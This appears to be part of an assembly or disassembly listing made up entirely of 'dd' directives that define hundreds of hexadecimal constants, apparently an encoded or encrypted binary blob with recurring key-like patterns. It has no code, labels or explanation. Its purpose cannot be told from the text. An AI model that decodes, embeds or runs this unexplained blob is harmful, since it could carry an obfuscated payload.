dd 8F738C5h, 3D953670h, 0BF41B0C1h, 5675B13Ch, 1AAB9515h
dd 0EC19075Ah, 10903D94h, 23DCC0A7h, 5120BE3Ah, 59D5B132h
dd 56EAB0B9h, 2BFE4832h, 56B75822h, 358CB132h, 0E03A92DDh
dd 0CC44A6FAh, 0A32B0E9Ah, 463CD165h, 79EAB132h, 0C3409837h
dd 33EE00DCh, 74BFD0F7h, 59C879DDh, 0AE36788Dh, 56A25864h
dd 31DB132h, 5B2A8629h, 592ABD75h, 56BAB6B3h, 30A4D132h
dd 37CF3E88h, 56561BDAh, 56AC5832h, 5475B132h, 0E408A0F0h
dd 57F9BE25h, 0AABAB132h, 0D2527139h, 56AEB1ECh, 36AF3AC7h
dd 0B82AD761h, 0BF8DCE09h, 56EAB13Dh, 2167354Fh, 1F639CA4h
dd 64AC2CF7h, 370ABA64h, 56435867h, 0F13AB132h, 0DD75C0CFh
dd 0CE52E6FDh, 9D0AF935h, 0B4AEE087h, 0C4A232E5h, 5148CE3Dh
dd 0D737ECC7h, 0BDAA50E1h, 0C46BD72Bh, 0D7E5D073h, 5675B13Ch
dd 56BAB8DBh, 33587232h, 0EBE00A9Eh, 236C858Bh, 252FBE3Eh
dd 0BFD5B132h, 56EAB135h, 13C83335h, 3040ACB5h, 0D6A4AFB9h
dd 5F4741D5h, 0C257B132h, 286826E3h, 418F8919h, 5903AFB8h
dd 5C75B132h, 720D6912h, 93B64593h, 0E6650DE5h, 0E3373389h
dd 0C15C300Fh, 37AE575Bh, 0AE1A52B2h, 565265DAh, 56B25832h
dd 0C778B132h, 56AEBF3Fh, 0B7BED330h, 0BF544ECCh, 56D5B120h
dd 7DA6AB2Eh, 9DEA0554h, 0B22AA227h, 0C4094950h, 2B271A64h
dd 53BFD1CEh, 87ABB132h, 20E44229h, 59B5EA63h, 5675B3BBh
dd 37DBD132h, 565C303Dh, 0BE56B132h, 0A9A844FEh, 56AC353Dh
dd 0DADAB132h, 56EAB133h, 0AF2E4DCEh, 56A9586Dh, 5CAEB132h
dd 0B9599BCDh, 0DD400125h, 173FD596h, 9D40715Dh, 5D03EF39h
dd 5B75B132h, 43C3550Fh, 25D02C5Bh, 4747651Fh, 8D57B132h
dd 7AB7408h, 54FF218Bh, 0EF2303C6h, 68A2866Ah, 0BF46F4B9h
dd 565DB135h, 3BE0DAFFh, 9FEE73A8h, 56A53F3Dh, 0D7B5B132h
dd 17AAA0D1h, 56F1BE54h, 37BAB132h, 595DBDF0h, 56AEB6B6h
dd 66ECD132h, 37C2BE10h, 56D43B3Dh, 312B132h, 87CABE52h
dd 56BAB8DBh, 0DF845C32h, 8B68880Ch, 0DD36E9DFh, 572EBEDEh
dd 0AFD5B132h, 0BF1275B1h, 5675B120h, 0D863944h, 0A3164FB7h
dd 3AB48D8Bh, 5E5D932Dh, 0AEFC06C3h, 56C45864h, 984DB132h
dd 4488BF92h, 5A2A9A64h, 78156184h, 7269F92h, 5657BBDBh
dd 0FB69F732h, 30168E8Dh, 56705AEh, 0D47AD152h, 56BAB132h
dd 37963A53h, 5656F4F5h, 0AE57B132h, 0D67633F5h, 56D4B6D4h
dd 0DBE5B132h, 5675B133h, 5ECF3ACAh, 565DBCDBh, 0AFA63332h
dd 84B7FBD0h, 0D8B214E3h, 0DDB3EAB8h, 0E1E5D12Ch, 566758C4h
dd 79A1B132h, 0D775BF57h, 0B972676Eh, 0D6063890h, 6906F38Eh
dd 286F3A53h, 0AEED574Ch, 0BF7DEEB9h, 56BAB120h, 0E8E2174Dh
dd 7EB7E6D4h, 6AF352D0h, 5BA91CE5h, 8DDEFEB3h, 569A353Dh
dd 459CB132h, 58BAB132h, 6AC960A1h, 0C3B00F95h, 7B12520Bh
dd 2E0450B4h, 88EE229Bh, 56C6343Dh, 0E515B132h, 0A40DBED9h
dd 5A003A53h, 1D773052h, 372ED242h, 0BFA7EEBBh, 56D5B120h
dd 67436731h, 0C1DC251Eh, 5D5EE639h, 285ED450h, 912D9059h
dd 5CD5BE26h, 36ABB132h, 0EE25063Dh, 7AB68226h, 0A90F5853h
dd 59DA4ECDh, 565DB5BAh, 0ED17D732h, 0DD31D0F0h, 0AD2B4D2Ch
dd 0F051BEDAh, 36EAB131h, 592EE252h, 59DB4A85h, 565DB7B3h
dd 5628BE32h, 3757B132h, 59424AB2h, 56D639B6h, 56E15832h
dd 0E609B132h, 3FCEB1B0h, 3A25CDACh, 0BD553147h, 5538353Dh
dd 0D1A4B132h, 56D5B13Ah, 56E8303Dh, 3715B132h, 59584AB2h
dd 565E8EB6h, 0DDC8D132h, 0ADD7D0EDh, 5A2FBED1h, 0AFD5B131h
dd 31113054h, 73F1BED1h, 0AEBAB131h, 36AD56B2h, 0C080EB8Dh
dd 56515930h, 0D17FB132h, 0EE152D00h, 0D78CD06Bh, 59F5BEC9h
dd 56B9ADB6h, 564D5832h, 7BBEB132h, 3AC928D1h, 6E3DA951h
dd 0D0C9EADh, 0B56A4E72h, 46F6BEC2h, 0BFBAB132h, 565DB139h
dd 761040E3h, 82A5F87Eh, 0D6481C8Ch, 0D2DAC1C9h, 56EAB3D7h
dd 56653E3Dh, 0D4B5B132h, 565DB138h, 56AEB4DBh, 0FD0F3C32h
dd 0DDCD1562h, 5F5FBE2Ch, 36EAB132h, 7DCCD052h, 378CCE72h
dd 0A3A552B2h, 0EE5531CEh, 5706353Dh, 5D42B132h, 7DD5B132h
dd 0F711802h, 10B66E7Fh, 683AEAB2h, 6ED9BE37h, 59AEB133h
dd 5657A2B1h, 5D43D132h, 0ACD5B132h, 15F1F03Ah, 0C869FDFh
dd 37E38AC2h, 59708FB2h, 56AFA7B6h, 0AF04D132h, 1547316Dh
dd 3EEB3153h, 57EF353Dh, 3015B132h, 0ED6462B3h, 0A93C7AB9h
dd 0B02E6CB0h, 56455835h, 0FC6CB132h, 312D9A8Ch, 28FCF5F0h
dd 0B9EDA132h, 7EF729FCh, 0BF433A54h, 56AEB120h, 0C92AF616h
dd 1C345C28h, 769691A9h, 1F78C869h, 0B1F5773Ah, 0D7DC4DCAh
dd 59B530C9h, 56AE07B6h, 0DD314832h, 0D7A4D12Ch, 56D5B130h
dd 37127FB9h, 0BF8556B2h, 56BAB123h, 0D8FA7DBEh, 0BD363D7Ah
dd 1510AB8Bh, 61B3DB4Bh, 0AD54D725h, 0D2E571B3h, 5675B1B1h
dd 56BAA3DBh, 37568832h, 0ED2AF5DAh, 1B560C14h, 435EFEA5h
dd 36C8012Fh, 0DE023052h, 0ED341295h, 2C6C1E67h, 0A9A5E453h
dd 0B0D1BEA0h, 56515835h, 0D0CAB132h, 0F715CA9Fh, 0A455BE52h
dd 5675B8DBh, 58F28132h, 0A03023E7h, 0BCF3BECh, 0AA1238CAh
dd 0F612D752h, 59B4D045h, 56EAB6BCh, 0E97AD132h, 37633BECh
dd 57A1CCB1h, 54F0343Dh, 5DBEB132h, 94ABB132h, 2E08C20Fh
dd 4065C2D5h, 59158A15h, 0DDDB688Dh, 0B6444888h, 56BD5835h
dd 0ADBFB132h, 0DC1DC791h, 99F31CA1h, 0D745F0Ah, 26A2D87Dh
dd 4753E1FEh, 6E5DB132h, 0EFACD057h, 5C0E4F11h, 6C0DE1AFh
dd 63473CD0h, 56EB313Dh, 0DD8CB132h, 0B03A6CB0h, 56575835h
dd 7357B132h, 4957227Dh, 0C0416F64h, 425CBE52h, 0BFEAB132h
dd 5675B13Dh, 0D2EEDBBFh, 80DA49F9h, 19456717h, 0AE70FECBh
dd 66978853h, 56C03B3Dh, 4603B132h, 0ED75B132h, 6393B41Dh
dd 2EC5FA7h, 0B4CF7457h, 0E9F5E10h, 571D333Dh, 59B5B132h
dd 56EAA9B1h, 56665832h, 86B8B132h, 9F057A96h, 0F3B11495h
dd 6FAF0CB5h, 9437659Ah, 9A6ED729h, 0EC61D0D6h, 5195A0A3h
dd 56AD3F3Dh, 44B4B132h, 0C8AEB132h, 20FD7EFAh, 0D95D6DDDh
dd 0BF02641h, 7C8AEA0Bh, 599CE1C0h, 54BAB132h, 0CD3D8B6h
dd 0AFB0CBBFh, 5B6F31Ah, 0D420B4E7h, 513331EFh, 56E23C3Dh
dd 0D77AB132h, 56BAB130h, 6A64D052h, 0EDC8D102h, 0BCD6EE47h
dd 783D1742h, 0D9DAE953h, 56EAB002h, 564A58CBh, 914FB132h
dd 565F4977h, 4547B132h, 4557B132h, 660DC721h, 5A487FE8h
dd 9AC53DBFh, 1A8AED4Ah, 4C5358ACh, 0A35DB132h, 5756F4F5h
dd 5957B132h, 56ABBDBCh, 505CBE32h, 59EAB132h, 5675B1B5h
dd 28003A32h, 595A574Ch, 56AEB0BBh, 49DC4832h, 56B9343Dh
dd 5B3CB132h, 0B2EAB132h, 0ADBDFBE8h, 46A2BC71h, 0FA92EB72h
dd 0D2A16A39h, 5657B18Eh, 59758ACAh, 56D5E6B7h, 5E03D132h
dd 0A475B132h, 387CC9B4h, 37E3B75Ch, 0A3A2ECB9h, 56AFCCB1h
dd 56A7353Dh, 37B5B132h, 3612EC31h, 78BD0B54h, 9334453h
dd 41D7BE36h, 59AEB132h
dd 5657A0BDh, 56A75832h, 6084B132h, 7EED098Eh, 16778F82h
dd 5F53566Eh, 2C5DB132h, 729AAF7Dh, 5A5F6EFEh, 36BF76B1h
dd 308DE152h, 37E7938Ch, 9AAB3054h, 3153D074h, 59A24ECDh
dd 56AEA3BCh, 565A5832h, 4922B132h, 0A8577F4Bh, 556C6E98h
dd 65868B63h, 5F53D1F2h, 0F15DB132h, 5774B4E4h, 0D3163BFEh
dd 37E169B2h, 56D0AADBh, 5B61BE32h, 3675B132h, 0FC703054h
dd 56D7BEBDh, 37AEB132h, 0AF493A54h, 0BFA7CCB9h, 56D5B138h
dd 4F76108Eh, 0E6BF25C5h, 4253BF12h, 175DB132h, 0E1557DB2h
dd 124D15C3h, 6D6F2A9Ch, 3CDA9F03h, 0D6DAB16Ch, 0D27A5AC9h
dd 56BAB140h, 0AED6D752h, 59CFD152h, 37367E8Dh, 595B52B2h
dd 56D5BCBBh, 56E25832h, 0BC85B132h, 7164EC1Ah, 0ADDDFE41h
dd 0F12ABE42h, 3657B132h, 56ABBCDAh, 9BEB8432h, 9AFAA59Dh
dd 5214BE59h, 0D1B5FF66h, 565DB132h, 56A3596Dh, 0FDD9B132h
dd 144DF24Ch, 215A0B8Dh, 593F0BDFh, 5675B1B3h, 0BFDBE932h
dd 565DB012h, 56AEB8DBh, 0D1639E32h, 38D3EFE0h, 5113501Ah
dd 4262BEDBh, 0BF75B132h, 56BAB13Dh, 7A6E54C9h, 6D78048Ch
dd 19DEE9B9h, 915EF505h, 56D5B075h, 0DD16B132h, 40FABEF5h
dd 0BFBAB132h, 565DB123h, 0F8601CD9h, 0D118E88Fh, 8F08E5F5h
dd 8E825E85h, 532A3256h, 5675BADBh, 31383032h, 19B2CE3Eh
dd 312A418Fh, 5653B2DBh, 0DDCDD132h, 91B3D0E1h, 0BFE2BE35h
dd 5675B137h, 0B97D9916h, 0AF433B95h, 56AEBADBh, 9D106332h
dd 0AFD2B1EFh, 8BD09AF3h, 36E552B2h, 567E363Dh, 5053B132h
dd 4E5DB132h, 8B10956h, 0DD31E091h, 0D6CAEFC9h, 593C31F9h
dd 36EAB132h, 8C605171h, 67CE5983h, 5AE2F503h, 9264A05h
dd 565F5833h, 6DD8B132h, 0BDA44704h, 112D80F2h, 5675B130h
dd 0DD424432h, 46B4D1F5h, 8AEB132h, 5AD0CF35h, 424E332Dh
dd 7E28EDA4h, 598C3394h, 5675B3BAh, 37F30332h, 0AF5B71B1h
dd 56A9353Dh, 0D458B132h, 56ABB133h, 558F58CEh, 5F03B132h
dd 9175B132h, 26A08959h, 39950F7Bh, 0C6903054h, 0D0D3BEA2h
dd 36ABB132h, 372D063Dh, 56EAB4DBh, 3573EC32h, 683A5A88h
dd 0C2D8BEA2h, 36AEB132h, 5657BCDAh, 0D26C8632h, 3DA6922Eh
dd 0C7CAE876h, 0DD1383D0h, 0C02E8CAh, 372D9057h, 0A9D03054h
dd 0D25821A2h, 56ABB177h, 0D7B3E052h, 0DAD9BF5h, 5675B8DAh
dd 3C8F6D32h, 0C3A5E8DEh, 0E8C8A381h, 37091BAFh, 56ABFBDBh
dd 56D85832h, 72D0B132h, 0A90CAFC8h, 521278B1h, 362EBE1Fh
dd 56AEB7DBh, 0A0362032h, 0ED579848h, 207E9AA3h, 362D3A53h
dd 5E9CA687h, 5DBAB132h, 3A977981h, 37A443DDh, 792B0952h
dd 0DCA4EEABh, 56D5B132h, 547C5853h, 0DB8DB132h, 0B03B54B0h
dd 593DD135h, 56AEB1B6h, 0BF36D032h, 56ABB120h, 0ABAE59ACh
dd 0C3CFEECFh, 0AF72DEECh, 0F021F1E5h, 590DBF71h, 56AEB0B5h
dd 36014D32h, 59F07BB2h, 0A9B47E85h, 0B0959EA0h, 5AFEBE35h
dd 59BAB132h, 565DB7B5h, 5624BE32h, 5D57B132h, 4A2FBEF2h
dd 0AAD5B132h, 0DB1679B9h, 0B0F45480h, 0D3B54435h, 565DB133h
dd 56D758CBh, 3037B132h, 0CA7BB9h, 56D5B4DBh, 5D67132h
dd 509C76F4h, 62BAB132h, 0F4786B13h, 0BF603AE5h, 5657B139h
dd 0BD06C74Ah, 7DA7AE8Eh, 36423EEh, 5674383Dh, 0A946B132h
dd 0B022BEA0h, 0BFF34935h, 5657B134h, 61A2430Eh, 453C01FCh
dd 38EAB132h, 7D1977A4h, 9705DEF4h, 6AA9483h, 0BDD38AA2h
dd 987C309Eh, 0AF7246CBh, 56D8586Ch, 0B8DFB132h, 864A6723h
dd 318A7869h, 0D5956A38h, 59AF494Fh, 56570AB7h, 5C2DBE32h
dd 0BFD5B132h, 56EAB137h, 0FD6FE403h, 5737BEB8h, 0A35DB132h
dd 30CEF882h, 5948AD8Bh, 0FCCA738Dh, 56D5B8DBh, 0B2BC5432h
dd 0E34AD02Ah, 0EEDCA12Fh, 0D352343Dh, 56AEB13Bh, 0DC070E52h
dd 0DFDA281h, 367ED753h, 5666BE52h, 0BE75B132h, 56BAB137h
dd 0DCC986ADh, 59CFEEABh, 5657BDB5h, 56AC5832h, 90EFB132h
dd 0FE1664AAh, 5B9CD093h, 0A5BAB132h, 537E1FCEh, 1E51C9B7h
dd 35963075h, 57ED073Dh, 759B0952h, 946BD9BEh, 277627D9h
dd 42531A53h, 0F75DB132h, 3208538Fh, 4C82F74Ch, 0EE607519h
dd 0A8C1FC1Eh, 0BFD97376h, 5675B1D0h, 537D3052h, 30533FDAh
dd 371C478Dh, 54AFCCB1h, 561E343Dh, 5E3CB132h, 0A4EAB132h
dd 53339F84h, 308596F8h, 3694BA8Ah, 0E6300E54h, 5657B6DBh
dd 0D45F2332h, 0B2E581AEh, 0A316D153h, 36DED753h, 56B15852h
dd 0EE34B132h, 45BCB18h, 0D2B082D4h, 594B300Eh, 37E48FFDh
dd 371E61B2h, 0D27A0954h, 0E1503152h, 565DA1DBh, 9508032h
dd 497C028Eh, 922C37D9h, 9B8668C5h, 3012D0C0h, 58FCBE99h
dd 0BFBAB132h, 565DB13Bh, 9608F733h, 82730D50h, 101DBE4Ah
dd 0B955D133h, 56EC581Ch, 0ACBBB132h, 3DE73EB2h, 0DE521A53h
dd 56AEB13Eh, 56513D3Dh, 0DFA4B132h, 56D5B132h, 56EA94DBh
dd 5EFBBE32h, 59BAB132h, 565DB3B8h, 0A5CFD132h, 56475896h
dd 0E300B132h, 71893103h, 6E4111E3h, 957CF7E8h, 91311A7Ah
dd 565DBADBh, 0C736B332h, 77B9F438h, 988D9BFEh, 0AA8C4D69h
dd 0B86AD16Ch, 91444F2h, 56BC5952h, 3583B132h, 1222E560h
dd 0CB7B0854h, 9E79306Bh, 37CA318Bh, 5766BEFBh, 0AA75B132h
dd 0BFBAB9F0h, 565DB137h, 0E17E3AE1h, 5644581Eh, 0EE52B132h
dd 0F9ED77E8h, 2E6D5B3Bh, 0A044C2E3h, 597F62B8h, 58B4E4A9h
dd 3BAEB132h, 7B32439h, 118C13A7h, 0BD8A72F4h, 36063A74h
dd 5675A3DBh, 45424632h, 1AEEFEF7h, 697A48C0h, 9DC419FCh
dd 590962CBh, 56D5B3B6h, 378BD132h, 569D4452h, 0CBAB132h
dd 0E6B65BB3h, 0BF57B6D4h, 5657B138h, 580B6B3h, 0F5FD21F5h
dd 0DD12207Fh, 0D67AB977h, 56BAB12Eh, 564B323Dh, 4747B132h
dd 0E357B132h, 0B1437B6Eh, 34166AD1h, 2323775Fh, 385561ACh
dd 286133BBh, 0A33DB6D4h, 0DD643052h, 0BF7CB7CEh, 56ABB138h
dd 8001DB3Fh, 452A4CB6h, 3714FC5Fh, 56B65853h, 98F7B132h
dd 0C463C29Fh, 35529847h, 0BF622D31h, 56D5B121h, 5D6A2722h
dd 3D20692Ch, 0FC8FADC4h, 9E4C59F6h, 9443935Ah, 3037B136h
dd 3CA60B9h, 56D43E3Dh, 0DD16B132h, 4BFFBEDEh, 36BAB132h
dd 565DA1DBh, 0FC328D32h, 7E20D597h, 1989B372h, 0C527FF64h
dd 5663BEE7h, 3775B132h, 0AA4275B1h, 57DBBE52h, 0AFAEB132h
dd 5657B1DAh, 0BC2AEB32h, 5133008Bh, 56EB3D3Dh, 598DB132h
dd 56BAA6BAh, 564F5832h, 77EEB132h, 6806CE1Ch, 65826A03h
dd 811FA422h, 0B690F6E9h, 568DF4F5h, 0BFBAB132h, 565DB13Ah
dd 851A6B64h, 0C2653EFDh, 5657F4F5h, 59D5B132h, 56EAB0B7h
dd 96464D32h, 0DDDC49CAh, 565A582Ch, 0DC39B132h, 7E711D88h
dd 9E21D15Bh, 56D5BADAh, 3AB0C632h, 358AB6Dh, 0F149C0DCh
dd 88AC3054h, 91CFE990h, 0B0D76CB0h, 56ABB035h, 575ABE32h
dd 0AEEAB132h, 0C68E3054h, 433FBEA2h, 365DB132h, 56AEB4DAh
dd 6FD93732h, 842BB3C4h, 0C16CEAD0h, 37B5A71Ch, 599D4AB2h
dd 56BE33B6h, 5FB44432h, 7DAEB132h, 33EF0B8Ch, 46F3FDD3h
dd 453DD172h, 1FEAB132h, 2E5D6E9Eh, 0C6A31E3Ah, 0AD5575F8h
dd 6D6554B1h, 53BF801Ch, 86ABB132h, 9ABB6590h, 5303EF6Ch
dd 8F75B132h, 24204CF4h, 0ADDD4853h, 6E2ABEDBh, 0BF57B136h
dd 56ABB13Bh, 0BEC3274Ch, 48433C91h, 5915F15Ch, 56BAB2BBh
dd 8CD6D732h, 22463054h
dd 0ADD7D089h, 462FBED9h, 0BFD5B136h, 56EAB122h, 0F2406F09h
dd 7A8180ACh, 6B788654h, 0F7C99C3Eh, 0EFEDD752h, 56AD596Fh
dd 0E115B132h, 0ACDE952Eh, 372FD052h, 0B13A4472h, 0ADD6D1C2h
dd 0CE713052h, 0DC2FE6C9h, 59CAD0E6h, 56D5BDB7h, 506FBE32h
dd 5975B132h, 56BAB1B6h, 0ADDCD732h, 0D2A1313Dh, 5657B285h
dd 0FB29B2CAh, 59D25127h, 56EAA8BAh, 45F5BE32h, 0BFBAB132h
dd 565DB13Ch, 401AA5Fh, 0AD14183Ah, 0DE83BE8Eh, 0BF95A43Ch
dd 56EAB134h, 0E4EF0C7Bh, 0AD3A73CDh, 22D9BED0h, 0BFAEB131h
dd 5657B137h, 1AA8A2BCh, 0B52E3190h, 55AE353Dh, 599CB132h
dd 0A1BAB132h, 97C600CDh, 0D98E46C7h, 708A98CFh, 0D7CD510Dh
dd 5936D6C9h, 56E9F3B6h, 0B5F54832h, 0AD3A44C2h, 6AD9BE42h
dd 36AEB131h, 9F993054h, 73100BDDh, 0A3B48919h, 0AEF43A54h
dd 0BF8D52B2h, 56BAB13Ah, 0EDF1D437h, 62170C7Ch, 59EF4AB2h
dd 56AAC5B6h, 68554932h, 3C6EBE37h, 0BF75B133h, 56BAB121h
dd 8108BDF7h, 9811477Eh, 1BECF01Ah, 0C789158Bh, 0D6E2F03Eh
dd 0D2E59C0Ch, 5675B07Bh, 3E8431CBh, 5762353Dh, 3656B132h
dd 5657BBDBh, 39598332h, 0D2AA0A19h, 0BED090A6h, 5675B126h
dd 0BE856F57h, 0A6DB8B30h, 1A78FD85h, 0A04DBF95h, 0AFC5DA9Fh
dd 0AF95D06Ah, 56EAA3DBh, 87552832h, 0E0738839h, 1D17DED9h
dd 6DE54573h, 0A950D19Ch, 0B02B6CB0h, 0AE20D135h, 4861D753h
dd 5675A0DBh, 0A91E4532h, 0E99EF6h, 0DD70A867h, 0C93F8A4Fh
dd 0B12B266Dh, 855ED1CAh, 0AD6BD753h, 0D27A59B3h, 56BAB1F7h
dd 565DA3DBh, 29434B32h, 71CAFAF4h, 6531553Ah, 8A442E9h
dd 3045D56Fh, 3015AFB9h, 0E1B549B9h, 0B1DDD0E0h, 56BC58C2h
dd 704B132h, 0AADCA998h, 0A72C78C0h, 51F63964h, 51B61FEEh
dd 0D7413054h, 28D9BEF2h, 59AEB132h, 5657B6B7h, 0D7CDD132h
dd 37D5D2D1h, 56EF5852h, 0D794B132h, 36C568E9h, 82B53163h
dd 374F026Bh, 5BDFBE67h, 0BFABB132h, 56D5B13Ah, 11B5BE7Bh
dd 7B6631FCh, 29B523CDh, 0D652B6D4h, 56AEB133h, 0DFAEECCBh
dd 0D4A44D77h, 56D5B13Ch, 0A6383052h, 5968C227h, 56BAB1BFh
dd 0BF3CD032h, 56AEB120h, 0DF357677h, 9BB1CE23h, 0A02B87E1h
dd 27F5A09Bh, 2BF6A9E0h, 0D3B5B0CEh, 565DB7BEh, 0AF143ACBh
dd 5950512Bh, 56ABA7BCh, 56C45832h, 0C4CBB132h, 279BFF3h
dd 8E968464h, 0C21B3E11h, 6E1D9F9h, 97B13052h, 309E3021h
dd 0D61168B3h, 8B683A53h, 367257B2h, 0F05B3054h, 0A9E20BA0h
dd 6FCFE280h, 0DD58810Eh, 56ABB122h, 56D5BADBh, 5851DD32h
dd 44E21B14h, 4522D5CAh, 7FDFBE6Ah, 0AFAEB134h, 47C60BB9h
dd 0DDA4B6D2h, 56D5B139h, 56EAB7DBh, 0BF1E9732h, 6493367h
dd 78B33052h, 0BEA1614Dh, 5657B134h, 19FBED09h, 0B955C126h
dd 0DD8BE84Fh, 0B0F56CB0h, 56BC5835h, 0F7EDB132h, 6E48F87Ah
dd 666B88CEh, 30563B52h, 3767BC8Ch, 0D9E5E9C7h, 5675B4E6h
dd 56A33C3Dh, 42B4B132h, 33AEB132h, 7872AFBCh, 38B33A49h
dd 95D8B5BAh, 3F391F1Eh, 0DD9AF841h, 0B0C42388h, 5CDDBE35h
dd 36AEB132h, 6A3B5BB3h, 0FFBE4E4h, 0C4573253h, 42ED574Ch
dd 364238CAh, 30DBD152h, 0D63C4BB9h, 0DFCFDAF6h, 3037A175h
dd 6CA68B9h, 8B573ACBh, 59ED57B2h, 5675B7B3h, 0DE8D132h
dd 0DD3CEE61h, 0AE56812Eh, 58BED16Ah, 4FABB132h, 0BBDA9628h
dd 0CBB10570h, 57783305h, 0D559300Fh, 3736963Fh, 0F510D752h
dd 0EF31E714h, 37F387FFh, 0BFDDEEBBh, 56EAB139h, 9426E997h
dd 3865734Ah, 0BFA179D7h, 56AEB41Ah, 5657A0DBh, 0E8628032h
dd 743AED7Ah, 8A15DDC8h, 4FB86914h, 137DF9D4h, 565DB3CAh
dd 0A825D132h, 37A63A54h, 56ABA3DBh, 56D05832h, 0E4FCB132h
dd 91FE9811h, 56BB4977h, 0DDA8B132h, 0B0D02388h, 58D2BE35h
dd 0BFABB132h, 56D5B13Bh, 2551AEC9h, 3C555D31h, 0C438329Bh
dd 425A574Ch, 56AB5852h, 0BBE5B132h, 0DCAEABF5h, 615CD0D0h
dd 0DD8CD152h, 372AE6F9h, 56BAA1DBh, 2F6C1D32h, 65676D2Ah
dd 99A99002h, 23ECA32h, 115CD08Bh, 56E75822h, 4C4BB132h
dd 559EF874h, 0F5905B9Dh, 59F604D2h, 5657BDB5h, 502CBE32h
dd 59D5B132h, 56EAB1BEh, 558D3232h, 568B343Dh, 0E53DB132h
dd 91CF44A5h, 0B0D76CB0h, 56ABB335h, 56DA5832h, 0F71BB132h
dd 872DB28Dh, 0C1356BE1h, 0B63F8D53h, 56B75888h, 3037B132h
dd 30F02B8Bh, 0D5B446B9h, 0DBE5B3CAh, 5675B3C4h, 56BB353Dh
dd 0D5A5B132h, 59AE494Fh, 565742B6h, 0BB2BD132h, 56D858CDh
dd 898B132h, 5C397A2Ah, 8F453E80h, 375C9F79h, 57E8073Dh
dd 0DBE3052h, 378D5CE5h, 56D5319Bh, 336FBE32h, 5975B132h
dd 56BAAEB4h, 4FD1BE32h, 0BFAEB132h, 5657B126h, 3D030786h
dd 0BE526B69h, 8A50ABC8h, 9C9D86E1h, 186553BEh, 43D9BE72h
dd 0BFAEB132h, 5657B122h, 0A7D279EAh, 0B91EEE4h, 3F5B6C30h
dd 0FC265163h, 56BB393Dh, 0D5A8B132h, 0DFA1B4DAh, 5657B133h
dd 0D4248C7h, 59D5B132h, 56EAB6BAh, 57F9BE32h, 0AABAB132h
dd 565D4E1Fh, 0BE2D4432h, 0DD58D137h, 56ABB13Dh, 56D5B8DAh
dd 0DACD6032h, 0F76B837Bh, 0BEE574DCh, 565DB120h, 0EC26E58Ch
dd 0F0D45790h, 2D958A09h, 8423749h, 4602DF99h, 6375B132h
dd 0FFAF880Dh, 5483A84h, 86B551BBh, 0DD4C395h, 2342D06Ch
dd 36D5B132h, 0EE9C0B63h, 302EED5Eh, 37E1D488h, 4BE2D161h
dd 37FA7071h, 5657A5DBh, 58A7B932h, 7FAE4583h, 234ECBA1h
dd 0CFCECC39h, 0B84AD634h, 8BC73A14h, 59A957B2h, 5657BDB7h
dd 502EBE32h, 59D5B132h, 56EAB1BBh, 56725832h, 2BADB132h
dd 0E8ADA61Dh, 65AA3AA3h, 5657B8DBh, 33321932h, 0B937CDFAh
dd 0BFB10D3Ah, 5675B13Eh, 0D959CAB4h, 0E0E0BC34h, 0E601E75h
dd 5657B19Bh, 0DF2EBEB2h, 0BFD5B132h, 56EAB13Fh, 699C742Fh
dd 8980C47Fh, 4D9634A4h, 3668B22Fh, 0D73143B9h, 37E1B2F4h
dd 0BFD071B1h, 56EAB120h, 57FF3DE0h, 9B22FF2Eh, 4CFE4E6Bh
dd 597D455Bh, 0D658F40Bh, 56ABB128h, 915ED752h, 56EAA1DBh
dd 524F8932h, 0F2CD0185h, 0D584F662h, 9441CD31h, 0D454D04Eh
dd 514D31EFh, 533C4452h, 23EAB132h, 1B32855Dh, 5353F953h
dd 675DB132h, 52D9A157h, 0AA5FF6BBh, 59A7F6BBh, 56D5B0BCh
dd 63034932h, 0A375B130h, 0DBB569C5h, 565DB127h, 56AEA1DBh
dd 13927032h, 5B524C6Dh, 966F0754h, 0C966EC04h, 36B39A61h
dd 59733054h, 0A13C44AFh, 4B2DBEEAh, 5957B132h, 56ABA6B1h
dd 56C75832h, 0A7BEB132h, 0DD86A419h, 83114A82h, 3981E71Fh
dd 6BE9D547h, 365271B1h, 5625BE52h, 37D5B132h, 56E73A3Dh
dd 5E9CB132h, 1DBAB132h, 0F18BF86Ah, 3764611Ah, 5657A1DBh
dd 7F1B7832h, 0E38C02F8h, 0FFB8C725h, 0D6EE5BA7h, 8B38B294h
dd 365A57B2h, 59FE8482h, 5657B1B7h, 1ECAE832h, 56D5BDDBh
dd 83758F32h, 0C98A941Bh, 0D64DE49Eh, 5E1A38D0h, 56AEBEDBh
dd 8DC3A732h, 0B4B56450h, 0FBA9B8FBh, 78AFFBBBh, 5979F6BBh
dd 56BABBB9h, 0B2EBD132h, 56AE3D3Dh, 0BF36B132h, 56ABB134h
dd 7FCE869Eh, 3033841h, 0BF75B133h, 56BAB120h, 3A360A45h
dd 0BDEB38ACh, 4DD11666h, 0F9CEF73Ch, 96E67BCEh, 56EB353Dh
dd 0DC8DB132h, 0FE43B074h, 0F0D8BEB2h, 59AEB132h, 5657B0BBh
dd 90A84932h, 5755BECBh, 0AFEAB132h, 0AA7771B1h, 56BAB089h
dd 5FD1BE32h, 36AEB132h
dd 56573D3Dh, 3753B132h, 0D2DA6A39h, 56EAB110h, 56723E3Dh
dd 0D2B5B132h, 565DB133h, 0A6343BCAh, 0AF50549Eh, 59AA52B2h
dd 56D5B4BDh, 0E1E5D132h, 9576D0C0h, 5038BE52h, 0D75DB132h
dd 0AB2698C1h, 565B5843h, 0A99FB132h, 0E04564E6h, 0C7E8F80Eh
dd 0DF14ED5Eh, 0DF46B975h, 303DBD75h, 594748B9h, 8457B132h
dd 9E4265D1h, 2390CA62h, 0A55E0BF0h, 0A3149C4Ah, 56BA3EDBh
dd 565A5832h, 0A386B132h, 0C20D7E4Ah, 5973461Dh, 56D5BDB1h
dd 56ED5832h, 0FB27B132h, 0AA0D91BDh, 0A9784980h, 0BFAEB132h
dd 5657B122h, 0A3DE879Ah, 0ED8B9671h, 0ED0CFB52h, 0DB56479Ah
dd 0A1467719h, 564D58EAh, 238AB132h, 0DF65F3B9h, 9B3EBB73h
dd 5917F9A6h, 9669226Ch, 11FC4D30h, 56B2583Ah, 4045B132h
dd 0FE912FD8h, 0DFAB6898h, 0BECBBD75h, 56D5B123h, 10ED074Fh
dd 8D210EEEh, 3E931F10h, 0C0B2A1BFh, 9553AA7h, 57DBBE53h
dd 0AAABB132h, 56DE58CAh, 68FAB132h, 9D3018D0h, 0C566CB69h
dd 5EB4D02Dh, 8AAEB132h, 50010648h, 9FBCE7E4h, 56F73C3Dh
dd 0BF8AB132h, 5675B13Fh, 262B8F83h, 73B62514h, 0F1A93C5Bh
dd 565E5871h, 8E9BB132h, 52E6EC15h, 370E017Ch, 56793F3Dh
